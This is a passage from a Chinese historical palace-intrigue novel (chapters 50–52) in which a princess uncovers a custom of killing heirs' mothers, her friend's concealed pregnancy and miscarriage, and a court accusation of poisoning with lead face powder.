明绰再翻一页,便又是一段新故事。但讲到的部落首领有名有姓,时间也相距不远,一看便是真史。说这位名唤闾久须氏的可汗本来统治着西海最强大的部落,与另一个兵强马壮的部落联姻,生下了一个儿子。但闾久须短寿,死时儿子尚幼。闾久须的可敦在娘家的支持下拒绝改嫁丈夫的兄弟,妄图自己掌权,招致了一场漫长而血腥的内乱。最后闾久须氏四分五裂,被别的部落瓜分殆尽。闾久须的兄弟以身为祭,魂灵向阿瓦神女哭诉,于是神女降下了诅咒,凡是为闾久须的后人生下长子的女人,皆会在痛苦的产娩中死去。
明绰心里突然一沉,只见温峻一列小字批注夹在字间:“闾久须氏,乌兰先祖也。”
再翻一页,又是温峻的字迹:“神女咒诅,乃为饰辞,实为权者赐死。愚者信之,智者哂之。然权者善乘世变,巧御人心。至普达惹氏,隐操阴谋,逼生母至死地,挟幼主以擅权。子贵母死事不鲜,昔汉武将立其子而杀其母,乃不令妇人与国政矣。而今反使妇人乘隙而入,专擅数代。可见天道无常,人谋难测矣!”
梁芸姑突然走了进来:“真是奇了……”
明绰猛地合上书,一颗心“咚咚”狂跳。梁芸姑看见她的脸色,也是一愣:“怎么了?”
明绰问她:“芸姑,你还记不记得普达惹氏是谁?”
“那不是大可汗的母亲么?”
“是生母吗?”
梁芸姑意外地看着她:“这……应该是吧!怎么了?”
从建康出发之前,她们都花了点功夫把大燕皇室往上两代的人名都记了记。所以明绰觉得这个名字很熟悉,但真的来了长安,又没见到哪个普达惹氏的贵人,所以想不起来了。可是她们当时拿到的也只是曾经出使过大燕的使臣所记录三言两语,只知道普达惹氏曾经也是一位了不起的大可敦,活着的时候为统一西海做出过十分卓绝的贡献,甚至可以说,后来强大的十八部会集结在乌兰郁弗身边,离不开她的功劳。但她是不是乌兰郁弗的生母,她们就无从得知了。
明绰皱着眉,又看了一遍这条批注。普达惹氏做了什么还是次要的,最关键的是“子贵母死,专擅数代”这两句,是她想的那个意思吗?这只是一桩引人慨叹的旧事,还是今时今日的长安宫城中,依然盘旋着这片阴影?
“没什么。”明绰遮掩了一下,“你方才说什么奇了?”
“哦,碰见叱云夫人房里那小丫头了。”梁芸姑已经去取了新的茶具来,一面重新摆设好,一面继续跟明绰说,“遮遮掩掩的,还一股焦味。我就等她走了,留心多看了一眼。原来就是月信带,这有什么的,怎么还烧了……”
明绰抬起眼,突然问:“谁的月信带?”
“肯定是叱云夫人的。”梁芸姑笑了,“那小丫头哪会用这样上好的软布子?”
明绰突然想到了什么,微微变了脸色:“她不是前两日刚来过月事么?”
梁芸姑本来没想到,让她一说,也想起来了。叱云额雅当时脸上点了红,梁芸姑也见到她身边的下人清洗带血渍的衣物。但是女子月事不准并非罕事,明绰自己就不太准。梁芸姑没太放在心上,只是有些叹息似的:“也是,她年纪轻轻的,怎么已落了下红之症……”
明绰不知道想到了什么,脸上露出了又恍然,又恐怖的神情,扭头就往外走。梁芸姑叫了她两声,她也没停,直接到叱云额雅的房门前敲了敲门。
里头本来有说话的声音,但是一听到敲门声,马上就停了。明绰叫了一声,好一会儿,叱云额雅才回答她:“我……我睡觉了,明绰,你有什么事吗?”
“额雅,”明绰又敲了一遍,“开门。”
“明天再说好吗?我真的睡了……”
明绰便再没有问,只是一径用力拍门。里面又响起了叱云
额雅跟宫人以乌兰语飞快对话的声音,明绰依稀听懂了一个“快扔掉”,越发用力地拍了门。叱云额雅只好道:“来了!”声音发颤,已然是快要哭了。
然后门被打开,叱云额雅站在她面前,没让她进去。那宫人的身影一闪,似是在藏什么东西。明绰不顾叱云额雅的阻拦,直接跑了进去,只来得及看到那宫人把什么东西往窗外一泼,手里就只剩了一个空罐子。叱云额雅已经赶了过来,脸色非常难看:“你做什么!”
明绰转过来看着她,叱云额雅的脸色非常苍白,肩背微微佝偻着,好像哪里疼,站不住。她应该是准备就寝了,身上穿得单薄,袖子比白日的衣服短了一截,露出了手腕上缠着的纱布。明绰突然想起今天想去握她的手的时候,她突然缩回手的样子。
“手怎么了?”明绰问她。
叱云额雅马上把手藏到身后,目光闪烁:“不小心划伤了……”
明绰的脸也白了:“你有身孕了。”
叱云额雅咬住了自己的下唇,看起来随时要倒下去。梁芸姑已经跟了进来,不明所以地看着两个人,听见这话忙道:“怎么会呢,叱云夫人前几天还……”
“你没有来月事,”明绰指着她的手,“那是你划伤了自己流的血。”
叱云额雅几近哀求:“明绰……”
她什么都说不出来,可是她的眼神已经坦白了一切。于是明绰道:“你们都出去。”
“长公主?”
“出去,”明绰又说了一遍,指了指叱云额雅身边的宫人,“你也出去。”
叱云额雅绝望地闭上眼睛,她摆了摆手,示意那宫人退下,然后就失去了所有力气似的,整个人往下倒。明绰赶紧上前一步把人扶住,半抱着,扶她坐回了床上。
“额雅,你跟我说实话。”明绰问她,“你是不是有了身孕?”
叱云额雅咬着下唇,什么都不肯说。明绰握住了她的手,只摸到一把冷汗。
明绰放低声音,怕吓着了她似的:“孩子还在吗?”
这句话终于彻底摧毁了叱云额雅的防线,她突然露出了痛苦至极的神色,明绰下意识地抱住她的肩,她张开嘴,似乎要发出一声痛叫,却又叫不出来,哑着嗓子,痛到脖子里的青筋一根根绽出。
“我只是不想死!”她反手抓住明绰的手臂,声音压得那样低,充满了恐惧,“要是被人知道我有了身孕,我就活不成了!”
阿瓦神女的诅咒,西海人向来立长的传统,汉武的旧事,还有普达惹氏的“隐操阴谋”……一切终于再无疑议。
“可是你不是喝了避子汤……?”
“没有用啊!”叱云额雅痛苦地捂着自己的肚子,终于哭出了声。
“怎么会没有用呢?”
她这一问,叱云额雅就哭得更厉害了。她也不知道为什么没有用了,三年前她就用着这个药,可汗那时还更喜欢她一些,她都没有怀上。可是这一次,就只是可汗刚回来那两天而已……
明绰又问:“这是谁给你的药?”
叱云额雅摇了摇头,似是不敢说。明绰急了:“事到如今你就说吧!若是有人害你……”
叱云额雅还是摇摇头,但非常坚定:“她不会害我。”
明绰又追问了几遍,叱云额雅才终于肯松了口。给她这方子的是斛律氏。明绰记得这个人,汉话虽然说得不好,但是和善可亲,对人始终笑眯眯的。她也是乌兰徵登基之时,西海的部落为了向新可汗效忠才献来的女人。但据叱云额雅所说,斛律氏的母亲疼爱她,深知乌兰部有子贵母死的旧制,新可汗还没有孩子,她不忍女儿无端丧命,才从巫医那里求来了这个方子让女儿带进了宫。
“明绰,我求求你……”叱云额雅攀住了她的手臂,“你千万不要惩罚她!”
“我……?”明绰都糊涂了,“我惩罚她做什么?”
“她不是害人,她只是想帮我……”叱云额雅咬紧下唇,想了想,竟是半威胁式的,“所有人都备了这样那样的药,可敦若想罚,就得把我们都杀了!”
明绰感到一阵齿冷。她之前就疑惑过,为什么叱云额雅最受乌兰徵的喜欢,却好像所有人都跟她关系很好。她还和梁芸姑说,也许西海女子当真不知争宠妒忌为何物,一团和和睦睦的,多好呀。可原来真相是这样的。各种避子汤的方子私下流传,她们心照不宣地在暗处手牵着手,只是因为谁都不想死。
“既然人人都备上了,”明绰问了一个她已经知道答案的问题,“为什么没有人告诉我?”
叱云额雅闭上眼,一行眼泪滚落下来:“你是可敦啊……”
自普达惹氏起,反而是做可敦的最拥护这条旧制。乌兰郁弗的生母是被普达惹氏赐死的,乌兰徵的生母也是。只是乌兰徵出生的时候,普达惹氏身体已经不好了,无力再亲自抚养孙儿,才指定了身边伺候的贺儿氏来照顾。随后,贺儿氏也在她的授意下,被立为乌兰郁弗的可敦。
可是可汗分明没有立她的朋友做可敦。叱云额雅看到乌兰徵去了明绰房间里,赶紧把避子汤端出来,回报她的却是梁芸姑不明所以的责怪和辱骂。后来别的西海嫔妃们来看她,都说她傻。大可敦屡屡单独召见萧夫人,她早晚还是要做可敦的呀!
她是大雍的公主,跟她们,是不一样的。
明绰终于说不出话来,只是把叱云额雅紧紧抱住。她似是疼得厉害,话又说得多了,连嘴唇都发了白。明绰急得只是掉泪,一边要她不要再说话了,一边又自相矛盾地问:“你又服了什么药!”
叱云额雅无力地靠在她怀中,突然又重复了一遍:“我只是不想死。”
“我知道,我知道!”明绰心如刀割,“可我绝不会那样做的呀!你为什么不告诉我?你为什么要做傻事啊!”
叱云额雅听起来神智不太清楚了:“我做梦也想要他的孩子,我的孩子会长得很像阿耶,又听话,又漂亮……可是,可是……”
可是这个孩子的代价是她自己的命。
明绰突然感到腿上一阵濡湿,她低下头,发现血不知道什么时候已经浸透了叱云额雅半条裙子。明绰全身都像是被定住了,脑子却比任何时候都更清楚起来。额雅一定已经流了很久的血,刚才梁芸姑去扔碎瓷器的时候就已经看到她身边的宫人在烧带血的衣物。但明绰闯进来的时候那碗药还有残余,那说明她是今天刚喝下去的……
是她。明绰听见哪里传来轰然一响似的。是她今天对叱云额雅说,乌兰徵希望她生下长子。也许额雅一直在犹豫,听到这句话,她终于下定了决心。
“额雅!”明绰用力地摁住她的肩膀晃了晃,“醒醒!”
叱云额雅吃力地睁开眼睛,模糊地用乌兰语说了一句什么,然后就又倒了下去。她的宫人已经冲了进来,一看到这情形,立刻扑在了她的床边大哭起来。梁芸姑也是吓得捂住了嘴,明绰却突然站了起来。
“芸姑,去拿人参来给她含在舌下!”明绰语速飞快地下令,梁芸姑什么都没问,立刻转头跑了出去。明绰转向伺候叱云额雅的宫人,一把把她拽了起来,“她到底吃了什么药?——我知道你听得懂,说啊!”
那宫人瑟缩着,下唇剧颤,僵硬地吐出来几个字:“堕,堕胎方……”
“方子呢!”明绰急道,“拿来给我看!”
那宫人哭着跑到叱云额雅的妆奁面前,拿出一张叠得极
小的纸,哆嗦着交给明绰。明绰展开匆匆一扫,只见“红花、益母草”等字,先松了一口气,她因月信不准也吃过类似的药调理,知道这里面没有毒药。但再定睛一看,这方子里光是红花一味药的用量就非常吓人,虽然无毒,也是虎狼之极。
这不是西海的巫医会开的方子。明绰心里突然闪过一个念头,但又被她飞快地压了回去。现在不是追究这个的时候,必须找大夫。明绰强迫自己冷静下来,第一个想到的就是段太后为了医她的脸请来的汉人大夫。明绰立刻跑出去,不顾身上穿的是准备就寝的衣物,也不顾裙角还染着血迹,用尽全力地朝长霄殿跑去。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
50-60
第51章
那汉人大夫是个面黄无须的敦实人,从叱云额雅的房间里一出来,并没有理会一脸焦虑的明绰,只向太后行了礼。
段知妘的样子看起来已经不抱什么希望,但还是问了一句:“孩子怎么样?”
大夫的眉毛塌下来,摇了摇头:“出血太猛,草民已经尽力,能不能保住夫人的命,都要看造化。”
明绰马上捂住嘴,想阻住哭声。段知妘脸色极为难看,不耐烦地招了招手,让他下去了。
天还没有亮,长秋殿里一夜无眠,明烛高照。段知妘沉默了一会儿,突然对着明绰使了个眼色,从叱云额雅那里走到了明绰房中。明绰跟了上去,梁芸姑本想随行,但是明绰示意她别进来,自己关上了房门。
段知妘坐下来,一句废话都没有:“你怎会不知道她有了身孕?”
明绰被她的语气吓了一跳,看这意思,太后好像是要责怪她。见她不答,段知妘脸色更难看起来,声音一沉:“说话!”
明绰赶紧跪了下来:“太后恕罪,东乡真的不知道!”
“我都跟你说了,陛下指望着她生下长子,你怎么……”段知妘一副恨铁不成钢的样子。她对明绰一向和颜悦色,虽然也不过分亲热,但总是让明绰觉得很舒服的,突然这样的语气,明绰心中也激起了某种不忿,突然抬起头问她:“太后,乌兰部有子贵母死的旧制,可是真的?”
段知妘下颌突然绷出了一道凌厉的线,看着她,没有回答。
明绰点了点头,那就是真的了:“既然如此,太后应当知道,宫中女子为求活命都不愿生子。额雅有了身孕自然也要百般隐瞒,她甚至自残躯体假作月事,我怎么可能知道?”
段知妘目光如电,突然扫了一眼过来:“都不愿?”
明绰意识到不好,赶紧闭上了嘴。但是已经晚了,段知妘追问起来:“你还知道什么?”
明绰摇头:“我什么都不知道。”
段知妘看了她一会儿,突然起身,亲自过来把她扶了起来。明绰站起身,但仍然垂着头,不愿与她对视。
段知妘换了个更和软的语气:“这是乌兰部的旧制。”
她就说到这里,仿佛这就是一切的理由。明绰心中有气,突然抬起头直视着她的脸:“嫔妃改嫁新可汗也是旧制,太后却能说‘有悖人伦’,杀母夺子这样的惨事,难道不是更加有悖人伦吗!有的旧制能改,有的却不能改,凭据又是什么?”
这也是她第一次用这样的语气顶撞太后,段知妘退了一步,看着她,目光变得冰冷了起来。
“她的孩子本该是交给你抚养的。”
明绰像是被刺了一下,心里一阵剧痛。就是因为这样,额雅才什么都没跟她说,自己默不作声地走上了绝路。但是另一个念头飞快地从心里升起,明绰突然不再相信段知妘了。如果她真的从一开始就是这样打算的,就不会如此语焉不详。这样说一半留一半,只可能有一个原因,她有自己的打算,不想让明绰知道得太多。
明绰不怀疑段太后想培养她的心。她想推行更彻底的归汉之策,但在朝中孤立无援,非常需要这个汉人皇后。但即便是联盟,她也要为自己的未来做打算。
段知妘还年轻,完全可以学普达惹氏,亲自抚养下一代继承人,继续牢牢地把权势握在手中。
明绰突然觉得今晚去向她求助是一个错误。她看着段太后,段太后也看着她。有那么一会儿,明绰觉得段知妘似乎也意识到这点儿算计没有瞒过她。她会心虚么?还是会有一丝一毫的内疚呢?全都没有,太后依旧面色如常。
“事已至此,”段知妘叹了口气,又道,“你若是知道什么,现在就告诉我。若是等陛下和丞相来了,就更不好收场了。”
“丞相?”明绰一愣,“他怎么会来?”
段知妘冷笑了一声,似是觉得她问得可笑。这宫里的事情,有哪一件是瞒得过齐木格的吗?
“是谁给叱云额雅下的药?”
“没有人,是她自己……”
“我再问一遍,”段知妘打断她,凝视着她的眼睛,“是谁,害了陛下的孩子?”
明绰紧紧咬住下唇。她听懂了段太后的言外之意,谋害皇嗣在哪朝哪代都是形同谋逆的大罪,如果说是叱云额雅自己喝的堕胎药,会累及整个叱云部。可是她又能去攀咬谁呢?
明绰还是那句话:“我不知道。”
段知妘最后看了她一眼,只道:“那就等陛下来吧。”
乌兰徵在天光微亮的时候来了。明绰一直守在昏迷不醒的叱云额雅床边,她先听到外面给他行礼的声音,然后才听见了进来的脚步声。她转过头,看见乌兰徵睁大的眼睛。这是明绰第一次在他脸上看到如此无措、惊讶又茫然的神情。他站在那里,没有靠近,明绰给他让了个位置,他才走过来,但还是站着,看着躺在床上不省人事的女人,紧紧皱着眉头。然后他转过头,看着明绰。
明绰在心底暗暗发誓,如果他一张口就问孩子,她一定会打他。
但是乌兰徵什么都没问,他看起来完全不知道应该怎么办,所以只能落荒而逃。明绰听见外间传来段知妘说话的声音,低沉而温柔,好像一个真正的母亲。她在安慰乌兰徵,以后还会有孩子的。明绰看着脸白到近乎透明的额雅,感到山崩海啸似的失望向她席卷而来。为了额雅,也为了她自己。她跪坐在床边,握住朋友冰凉的手,不知道应该向谁祈求。大燕已经改信了佛,她是不是应该求菩萨?还是求那个素未谋面的阿瓦神女,不要把诅咒施加在她的朋友身上。可是到最后,她把脸颊贴在额雅的手上,一声声哀求的却是额雅自己。
“求求你,活下来……”明绰一遍又一遍地低语着。
可是额雅动也不动。
明绰一直守到了下午,饭也没有吃,好不容易才被梁芸姑劝回去休息了一会儿。但她感觉只是微微闭了闭眼,就又被吵了起来,那声音还是从叱云额雅的屋里传出来的,是好些个女人在哭的声音。明绰心里猛地一沉,立刻跳了起来,鞋都没顾得上穿好,赶紧奔了进去,惊异地发现额雅的外间全是人。
段知妘和乌兰徵没走,只有他们俩坐着。丞相齐木格来了,贺儿薄和步察巴合不知道为什么也来了,只能站着。地下跪着好几个嫔妃,全都在哭。惊醒明绰的声音是斛律氏的,她跪在地上,正扯着步察巴合的裤腿,用乌兰语一声声地哀求着什么。而叱云额雅的宫人已经倒在了地上,不知道是挨了打还是怎么着,不动了。
屋里又吵,又挤得几乎无处落脚,一时之间,竟没有人看见明绰进来了。
步察巴合也许和斛律氏的阿耶有些交情,不忍地偏过了头,但没有说什么。斛律氏见求他无望,只好膝行着又跪到乌兰徵身边,哀求可汗饶过她的性命。可是乌兰徵坐在那里,脸色铁青,任由她求,不发一言。
段知妘似是不耐烦了,用手指撑着额头,闭上了眼睛下令:“拖下去!”
有人从外面进来架住了斛律氏。她绝望之下,突然看见了明绰,立刻挣开了宫人,冲上来抱住了明绰的腿:“可敦救命!”
她情急之下说的是汉话,明绰连忙俯身想扶她。齐木格冷哼了一声,竟也用了汉话:“萧夫人还不是可敦呢!”段知妘闻言眉毛一竖,不理会他,只是语气更狠了一些:“还不拖下去!”
“太后!”明绰下意识护住斛律氏,“这是为什么?”
“她嫉妒叱云氏得宠,下毒害了陛下的孩子。”段知妘突然上前了一步,一把抓住了她的手,“你又来做什么,歇着便是!”
明绰险些被她推出去,然而齐木格突然叫了一声:“慢着!”
他转过身,用乌兰语飞快地朝乌兰徵说了什么,乌兰徵抬起头,看了明绰一眼。他早些时候的惶然失措已经消失不见,一双蓝眼睛里像是烧着火,但质地如坚冰。他只看了明绰一眼,就别过了头,非常克制地回答齐木格:“不关她的事。”
段知妘又做了一个驱赶的动作,但是斛律氏紧紧地抱着明绰的双腿,怎么也
不肯放。梁芸姑站在了明绰身边,不动声色地伸出手,不知道是掐到了斛律氏哪里,她痛呼了一声,终于放了手。
梁芸姑压低声音:“长公主累坏了,还是去歇着,这里的事情有陛下和太后……”
明绰震惊地看了她一眼,下意识想挣开她:“不……”
“长公主,听话!”
“可是……”
齐木格又看了乌兰徵一眼,见他完全没有要阻拦明绰离开的意思,猛地做了个手势。他身边一个汉人模样的年轻人突然站了出来,字正腔圆地直接对明绰道:“萧夫人请留步。”
乌兰徵沉了声音唤齐木格:“额赤哥!”
然而齐木格只当做没听见,飞快地用乌兰语说了什么。那年轻的汉人竟然也不畏惧乌兰徵,转头将齐木格的话一一地译了出来。
“萧夫人与叱云夫人得到的宠爱差不多,若说嫉妒争宠,萧夫人比斛律氏更有可能嫉妒。她还与叱云住得最近,要下手,想来也是更方便的——即便不是萧夫人,”他似是知道段知妘要说什么,甚至提前转过脸去,躬身持礼地截断了她的话头,“留她在这里问一问,也是好的。”
“齐木格,”段知妘低喝了一声,“这是后宫里的事,你一个外臣,手未免伸得太长了!”
齐木格侧耳过去,听那汉人翻译完,便冷笑了一声。那人听完齐木格所言,又朝段知妘道:“丞相说,朝堂上的事情太后也没有少插手,怎么此时又分起内外了?”
段知妘咬牙切齿:“我听得懂,用不着你多舌!”乌兰人礼教不严,不分内外,这一节上她辩不过,只好转过头来又看乌兰徵:“陛下!”
乌兰徵还没说话,齐木格便也叫:“可汗!”
下一刻,两个人同时开始说起了话。原本是段知妘操汉话,齐木格说乌兰语,但吵了没两句,段知妘也开始用乌兰语与齐木格激烈争执。乌兰徵一句话都插不上,他看起来也根本不想插话,只是撑住了自己的额头,紧紧摁住了太阳穴。
明绰因为一夜没睡而有些混沌的脑子终于反应了过来,齐木格就是冲她来的,所以梁芸姑方才一定要劝她回去休息,是段太后本想让她避开这个场面。
一时之间,跪在地上的嫔妃们都不敢哭了。明绰扫了一眼,看到这些全都是平日里和叱云额雅交好的姊妹们。她突然想起额雅说的话,她们都藏了避子汤,若是事发,会是什么样的罪?
然后,只听“当”的一声巨响,乌兰徵抄起了手边什么东西,狠狠地掷到了地上。太后和丞相终于同时停了下来,彼此恼怒地对望着。
“我已经没有了一个孩子,”乌兰徵看着他们,“你们到底还要怎么样?”
齐木格像是听懂了这句话,突然单膝跪了下来,握住了乌兰徵的手,口中发出了韵律古怪的吟唱。然后他身后几个乌兰权贵也都跪了下来,加入了他的吟唱。段知妘脸上露出了恼怒至极的神色,这是乌兰人在失去至亲的时候致哀的礼节。她不信齐木格真的在乎叱云额雅肚子里的孩子,可是他这样做,乌兰徵便露出了动容的神色,用另一只手拍了拍齐木格的手背,也跟着他低沉的音调,应和了两句。
梁芸姑见事极明,不必听懂他们在唱什么也判断得出来,乌兰徵在感情上也许会倾向丞相,当即又拽了明绰一把。就在此时,里间突然传出了动静。明绰猛地抬眼,以为是额雅醒了,却见一个陌生的女人突然掀开帘子走了出来。她脸上涂了红白两色的油彩,耳上挂着极其惊人的耳铛,把耳洞撑到能穿一根手指的程度,发间饰以禽鸟鲜亮的羽毛,一看就是西海人的巫医。
明绰摁住了梁芸姑:“等一下。”
这巫医走出来,手中捧了一盒素白铅粉,应该是从叱云额雅的妆奁里拿的,这样的东西,明绰送了她许多。巫医跪在了乌兰徵面前,将这脂粉献了上去,用乌兰语叽里咕噜地说了什么。明绰竟然下意识地看向了那不认识的年轻汉人,指望他给自己翻译一下,是不是巫医有法子救额雅。
但是那汉人没有说话,乌兰徵已经站了起来,从巫医手中接过了那盒铅粉,抬头看了明绰一眼。他的眼神非常吓人,明绰下意识地退了一步,心中突然有了一种极恐怖的预感。
“不是……”明绰下意识地反驳,甚至不知道自己在反驳什么。
齐木格又飞快地说了几句话,那汉人终于转过来,姿态堪称彬彬有礼:“巫医说,这就是害死了叱云夫人肚子里的孩子的毒药。萧夫人,你可认得?”
第52章
明绰一时气塞胸间,压低了声音,难以置信地看着那汉人:“你竟敢……?”
段知妘立刻替她张口:“简直是一派胡言!”
齐木格也急匆匆地张开嘴,不让段太后说话,转眼之间便又吵了起来。段知妘着急,不过两句话又被齐木格带过去,说起了乌兰语,她一旦开始也说乌兰语,步察巴合与贺儿薄便见缝插针地补上几句话,而那汉人翻译气定神闲地站在齐木格身边,丝毫没有要翻译给明绰听的意思。
乌兰徵手里还握着那盒素白铅粉,根本没有听他们吵,一双眼睛只是看着明绰。
“都出去。”他突然用乌兰语说。在场的嫔妃们除了连夫人全都是西海人,都惶恐地彼此对视,直到看到乌兰徵的眼神才明白过来,纷纷着急告退,唯独斛律氏仍旧被太后的人押着,太后没说放,她也走不了,战战兢兢地缩在那儿哭。
房间里总算是清理出大半,太后和丞相也都消停了一会儿,乌兰徵这才重新看向了明绰:“你知道这东西有毒?”
明绰毫不犹豫地回答:“没毒!”
段知妘也立刻道:“萧夫人也送过我一些,我也用过,我怎的没有中毒!”
她的语速过快,齐木格一句也没听懂,那汉人刚张开嘴想翻译,明绰突然扬起声音朝他喝了一声:“你是何人!”
他快速地看了明绰一眼,决定忽略她,继续向丞相翻译。明绰立刻上前,气势汹汹地走到他面前,高声道:“陛下面前,问你名姓,你敢不答!”
她几句话说得掷地有声,分明个头矮着一截,穿戴也不见多么华丽摄人,面容却有一股庄严。那汉人翻译竟然被她镇住,下意识退了一步,看向齐木格。他年纪轻轻,却将乌兰语说得如此纯熟,想来是行商马贩之流,连在乌兰徵面前都不敢报名,多半是怕被陛下事后怪罪。
明绰看出他想躲在齐木格庇护之下的意图,再次抢在他面前开口:“问你的名字,你看丞相做什么?难道你连名字也没有吗?”
“夫人,”他只好收回视线,朝明绰一拱手,“小人只是无名之辈……”
“既是无名之辈,谁允许你在御前开口?谁允许你来质问我?”明绰完全不给他把话说完的机会,“我乃大雍公主,张嘴之前也不掂量掂量官阶几何!”
“可是丞相……”
“丞相有话要问我,他自会开口!陛下听得懂,太后也听得懂,他们自会秉公,要你在这里多舌什么!”
那汉人翻译被她骂得冷汗涔涔,方才的志得意满一眨眼便荡然无存。齐木格没了翻译,和步察巴合几个都忍不住茫然的表情。只这一刻,气势便弱了下来,明绰昂首直视齐木格,又问:“丞相还有话吗?”
齐木格恼怒地朝那翻译喝了一声,他讷讷地应了一声,刚要张口,乌兰徵突然道:“把他给我
拖出去!”
马上便有人进来,把这汉人翻译摁住带走了。齐木格恼怒不已,和步察巴合、贺儿薄三人扬着声音叽里呱啦地只是对乌兰徵闹。原本这个时候段太后肯定要反驳几句了,可是她突然意识到了什么,深深地看了明绰一眼,闭上了嘴。
几个人闹了一会儿,见段太后不理睬,萧夫人又听不懂,乌兰徵的脸色却越来越难看,终于安静了下来。
明绰不卑不亢,直视着乌兰徵:“我可以说话了?”
乌兰徵把那盒铅粉扣在桌上,发出“咄”的一声:“从来就没有不让你说话。”
“陛下真的信我会对额雅下毒手吗?”
乌兰徵抬头看了她一眼。他不信,明绰看得出来,他只是生气。明绰心里如电闪过,飞快地琢磨他在生什么气。他们本来是要处置斛律氏的——不用说,一定是伺候额雅的人供出了斛律氏曾经给过避子汤。但是乌兰徵真的会这样好糊弄吗?他心里明明也很清楚子贵母死的旧制,根本就不该相信有任何人会害额雅。
所以他生气。明绰想明白了,正是因为他意识到了额雅也许是自己喝下的堕胎药,段太后和齐木格越是要把一切的事情都推到某一个人头上,他就越是恼火。
见她不答,乌兰徵便没好气道:“怎么?堵上了丞相的嘴,你又不说了?”
明绰一昂首:“我没做。陛下信就信,不信就算了,我没什么好说的。”
乌兰徵怒极反笑:“那你怎么解释这个?”
“我说了没毒……”
“没有毒,那御林苑当日,你的脸是怎么回事!”
梁芸姑适时地插了一嘴:“陛下容禀,这素白铅粉是顶好的工艺,在建康能卖千钱之价,非王公贵妇不得用,岂会有毒?只是长公主自小用了这些脂粉就会起疹,实是个人体质不同而已……”
乌兰徵打断她:“从小就会起疹?”
明绰心中一动,突然明白了乌兰徵在想什么。又一个宁肯自残躯体的女人。他是西海人的可汗,汉人的皇帝,但满后宫的女人没有一个肯为他生继承人,他要立的皇后原来也不仅仅是嘴上讨厌他。太后,丞相,国家柱石,左膀右臂,心里都知道这是怎么回事,但全都只顾着盘算自己的利益,在他面前假惺惺地演这场戏。
“好。”乌兰徵眼底突然泛出了一片红,点了点头,又说了一遍,“好。”
段知妘看起来很担心,轻声道:“陛下……”
乌兰徵突然转头朝她发作了起来:“那药方上写的是汉文,开的是红花,你说是斛律氏给的?!”
明绰心中一紧,那药方确实连她也不知道是额雅从哪里寻来的。当时她一直攥在手中,去长霄殿的时候也给太后看了,所以那汉人大夫一来就已经知道是怎么回事,没有浪费更多的事情。很显然,这药方乌兰徵也已经看过了。
段知妘被他这一通声色俱厉吓了一跳,一时竟没说得出话。斛律氏立刻又扑上来,刚哭出一声,乌兰徵就转头喝住了她:“你也住口!那避子汤是你给的总没错!给我查,凡是宫里藏了这种东西的,都斩了!”
太后马上跪下:“陛下息怒!”
连她都跪下了,齐木格几个简直是丈二摸不着头脑,但乌兰徵的表情和语气显然不是闹着玩儿的,几个人一合计,赶紧也跟着先跪了下来。
“还有,到底是谁给了她这堕胎方,”乌兰徵理都不理他们,继续道,“给我严查——”
他话音未落,明绰已经提高了声音怒道:“是我,行了吧?”
乌兰徵猛地抬眼,段太后也惊愕地转头过来,连使眼色,但是明绰一时气得什么都顾不得了,挣开了梁芸姑,直视着乌兰徵的眼睛,冷笑了一声:“陛下也说了是这是汉文方子,那除了我,还能是谁?何必还查,杀了我就是!”
她话音未落,乌兰徵已经两步跨到她面前:“你以为我不敢?”
“你当然敢。”明绰一步也未退,昂起头仍是冷笑,“干脆痛痛快快地和大雍开战,伏尸百万才好,这才配得上你天子一怒,流血漂杵!”
她离乌兰徵近,说话的声音便轻。齐木格几个老头儿既听不清,也听不明白,都只睁大了眼睛,只看到两人挨得极近,彼此目露凶光,简直要把对方吃了。一时之间竟然要去看段太后的脸色,指望她给解释一下这是在说什么呢,但是段太后哪里理会他们,只是目不转睛地看着萧夫人,眼神复杂到难以言喻。
乌兰徵说不出话,胸膛剧烈起伏,灼热的鼻息喷在明绰的脸上。明绰的声音更低,几乎只有他能听到:“恶法杀人,魑魅乘隙,你上不能为生母伸冤,下不能保护自己的女人,还要滥杀无辜以泄私愤,把人逼到这份上,你还当什么皇帝,受什么朝拜?”
有那么一瞬间,明绰以为乌兰徵肯定要打她了。她甚至闭上了眼睛,手掌紧紧握拳准备抵御这一击。但是什么都没有发生,乌兰徵反而退了一步。明绰睁开眼,看见他眼底竟然飞快地盈出了两汪眼泪。
明绰:“……”
骂哭了?
皇兄从前也是动不动就在太父面前哭,明绰早就对君王这一套敬谢不敏了。但是乌兰徵的样子一点都不像演戏,他别过了脸,想把眼泪忍回去,但又怕被丞相和太后看出来,所以别过脸的幅度也不大。为了控制住气息,整张脸都在努力,嘴唇撇下来,抿得紧紧的。明绰就这么眼睁睁地看着一颗极大的泪珠挂到他的睫毛上,颤颤巍巍地呆了一会儿,到底没挂住,整颗砸了下来,甚至都没从脸颊上划过。
明绰愣在那里,一时张口结舌。她突然有一些怀疑乌兰徵说这话是不是就是威吓丞相和太后,这些嫔妃们背后都是西海各部的势力,丞相和太后看闹得过头了,肯定得往回劝。
可是她转念一想,这点心软便被压了下去。乌兰徵滥杀成性,连屠珲部的老弱妇孺都没有放过,兀臧部也是说灭族就灭族了。他说要杀人,那就是真的会杀。
齐木格又张口说了什么,乌兰徵飞快连眨了几下眼睛,终于把泪意眨没了:“够了。”
“可汗!”齐木格被迫换上了半生不熟的汉话,“那个……”他又指了指那粉盒。
“我知道你想干什么。”乌兰徵回过了头,换回了乌兰语,居高临下地看着他。那巫医出来的时候说的只是这盒粉有毒,到齐木格嘴里就变成了“这就是害死叱云额雅孩子”的毒,然后再让那翻译说给萧夫人听——这些小花招全都在他的眼皮子底下。
“额赤哥,”乌兰徵最后唤了他一声,“还是回去吧。”
齐木格抬起头,似乎还想说什么,但是碰到了他的眼神,到底还是按捺回去,犹豫半晌才站了起来,带着几个老兄弟们告退了。
他们一走,乌兰徵才重新坐了下来。那巫医突然开了口,出乎明绰意料的是,她竟然说的是汉话:“可汗,我能不能……?”
乌兰徵转头看了她一眼,看起来已经不想说话,只是草草点了点头。看她举着铅粉出来指认,明绰还以为她是齐木格带来的人,但现在看起来,她其实是乌兰徵的人。
那巫医虽会说汉话,但说得很生硬,所以都非常平直简单,只是又强调了一遍似的:“铅毒,可快,可慢。”
明绰恼火起来,怎么齐木格都走了她还在说这个。
“我都说了没毒……”
“有。”巫医转向她,“神女庇佑,大可敦不曾多用,以后也不要用。”她又转向了段知妘,“毒会累积,用多了,头痛,腹痛,呕吐,吃不下饭……这是慢毒。萧夫人,可有慢毒?”
明绰突然整个人僵在了那里。她没有,但她想到了另一个人。
她突然往前一步,逼近了那巫医:“若是毒性发作得快,会……会怎么样?”
巫医眨眨眼,天经地义的口吻:“会死。”
